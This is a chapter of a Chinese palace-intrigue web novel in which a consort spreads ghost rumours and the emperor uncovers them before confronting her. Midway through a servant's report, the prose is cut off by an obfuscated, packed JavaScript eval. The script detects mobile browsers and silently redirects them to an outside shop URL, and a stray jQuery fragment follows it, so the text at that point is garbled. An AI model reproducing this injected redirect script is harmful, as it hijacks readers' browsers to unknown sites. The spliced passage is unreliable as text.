第33章 纸鸢
    景姝婳看着地上的小禾子。

    “你的那个老乡怎么说?”

    “回禀娘娘,小空子说娘娘若是愿意给他抬举,他自然不会辜负娘娘的扶持,若是有违誓言,任由娘娘责罚。”

    景姝婳倒不大担心此事,经过这些日子的观察,小禾子做事可比皇后娘娘身边的内侍差不了多少,而且还有不少本领,也够忠心。

    既然他说得出来,证明小空子应当也是个识趣的。

    景姝婳从匣子中拿了一把金瓜子。

    “既如此,你将这个给他,让他想法子将事情闹大,最好能传到陛下的耳朵里,如果他将此事办好,本宫便想法子将他要过来。”

    小禾子应声退下,他应当能明白娘娘此举意欲何为。

    宫里最忌鬼魂之说,但是每年议论私下议论的人也不少,只要事情不捅破到陛下跟前,全部都是小事,可是若传到陛下的耳里,那传出流言的人必定要遭殃。

    小空子在尚衣局时常往各宫送衣料布匹,认识的下人可不少。

    小禾子当然还漏了一点,促使淳妃撞头而死的,可还有一人。

    不过两日,后宫的传闻一日比一日夸张。

    景姝婳这两日都轻松了不少,毕竟那些人都在等着淳妃的鬼魂找上景姝婳。

    偶有两句风凉话,景姝婳就问她们看还记得贵妃是如何病倒的?

    每每问及此事,她们的嘴就跟被缝上一样,再不敢多说半个字。

    淳妃跟贵妃交好,半夜现身找贵妃,差点没把贵妃吓死,若是淳妃的魂魄听到她们帮她斥责景姝婳,半夜寻上门,那可如何是好?

    三四天后,各宫的下人都知道了此事,背着景姝婳没少议论,有人认为景姝婳很快就倒霉了,自然也有人认为贵妃可怜,如今还起不来床。

    殊不知他们可怜的贵妃娘娘每日一碗血燕,脸色倒是比从前还要滋润两分。

    慕容序从勤政殿出来,看了一眼天色,天边那抹斜阳,落下一地余晖,剩下另一半挂在天边。

    上次顺嫔便是穿了类似颜色的衣裳,灯光的氤氲下,女子比烛心还要明媚。

    想到此处,慕容序的喉头一紧,似乎他上次并未给她任何补偿,这些日子忙于朝政,也没时间宣见她。

    且他想起那晚景姝婳的神情,心中莫名会有一丝愧疚。

    也不知她过得如何。

    “摆驾临华宫。”

    “是。”

    宁安跟在慕容序的身后,眼底多了一点考量,但是并未表露出来。

    慕容序刚过乾清宫,前面两个修剪花枝的小宫女,正在嘀嘀咕咕。

    “贵妃娘娘真可怜,这都病了多少日了。”

    “其实也不能怪淳妃娘娘,贵妃跟她最是交好,她心中郁结,有仇不能亲手报,只能寄希望在贵妃娘娘的身上。”

    “你说得也是,你都听说了吗?”

    “肯定听说了,只是顺嫔娘娘的心真大,一点都不害怕。”

    “怎会不怕,你没见贵妃娘娘病了这许久,顺嫔娘娘一次都没敢去过玉芙宫。”

    “也是,顺嫔娘娘怕淳妃的鬼魂。”

    “你说传闻是不是真的?淳妃娘娘的死真的跟她有关?”

    “八九不离十。”

    “宁安,将她们舌头拔了。”

    两个宫女听到慕容序的声音,当即吓得跌坐在地上。

    “陛下饶命,奴婢再也不敢了。”

    只是不管她们如何求饶,慕容序都没有停下脚步,更不曾收回成命。

    慕容序脸色阴沉,目光幽深。

    “宁安,你可知道?”

    宁安躬着身子。

    “陛下,瞧着是有人故意瞒着。”

    陛下一段日子不曾踏进后宫,因着后宫有皇后娘娘,陛下安排的人平日也不会关注这些事情。

    “多放几双眼睛。”

    “奴才遵命。”

    “朕在前面的行止亭等你,给你一刻钟的时间,若是办不好,你自去领十板子。”

    “是。”

    慕容序端坐在厅中,视线扫过四周上上下下的宫女太监,一张俊脸上没有一丝宽容。

    不多时,宁安去而复返,面白无须的脸上还有点汗。

    “如何?”

    “陛下,贵妃病倒几日,后宫便断断续续传出了鬼魂的说法,说是贵妃娘娘见到了淳妃娘娘的鬼魂,故而才吓得晕了过去,淳妃娘娘要贵妃替她报仇,

    这几日倒是愈发过分了

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14268565|151719||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,便有人说淳妃回来是要找顺嫔娘娘,不少人都在等着看顺嫔娘娘的笑话。”

    “最开始,是从何处传出来的。”

    “瑶华宫。”

    慕容序眼眸沉了下来,将手中的珠串丢到石桌上。

    “告诉皇后,三日内查出背后之人。”

    “是。”

    慕容序起身,朝着临华宫走过去,只是心里又多了一道情绪。

    慕容序说不出作何感想,若是从前,他半点都不希望景姝婳为着这样的小事叨扰他。

    可如今他竟然觉得有一点不舒服,他是她的夫君,她被流言困顿多日,不该告诉他?

    让他替她做主?

    即便他这几日不进后宫

    ,她可以去勤政殿找他,带着糕点,但是她不曾。

    慕容序心情闷闷的,脚下的步子越走越快。

    临华宫,景姝婳坐在廊下看着小禾子扎纸鸢,分外悠闲。

    秋高气爽,正是放纸鸢的好时机,等小禾子扎完,她这两日便能到御花园中试一下。

    她在闺阁之时,每年草长莺飞之时,凉风习习之际,城郊的草坪上都会有她的身影,她放的纸鸢总是飞得最高,那些世家千金只能跺脚干着急,但是却怎么都赶不上她。

    后来她进了宫,在宫里待了十几年,皇后早逝,她做贵妃的时候,位同副后,宫里也没一人的纸鸢敢比她的高。

    所以能让旁人低头的只有权利和能力,权利大了,旁人即便不满,表面也要恭恭敬敬,能力大了,别人望尘莫及,想抬头都来不及。

    “娘娘,想要什么形状的纸鸢。”

    “扎一个蝴蝶,若是材料还有剩余,再扎一只大雁。”

    “好,奴才先给娘娘扎两个。”

    “顺嫔心情倒是极好。”

    慕容序温凉的声音传到景姝婳的耳中,景姝婳看过去,慕容序面无表情的站在门口,直勾勾的盯着她,眉眼微微愠怒。

    慕容序吃错药了??

    景姝婳不知缘由,起身行礼。

    “臣妾参见陛下,陛下万福金安。”

    慕容序凉凉的扫了景姝婳一眼,视线落在一旁的纸鸢框架上,不免自嘲。

    “顺嫔,你有没有心?”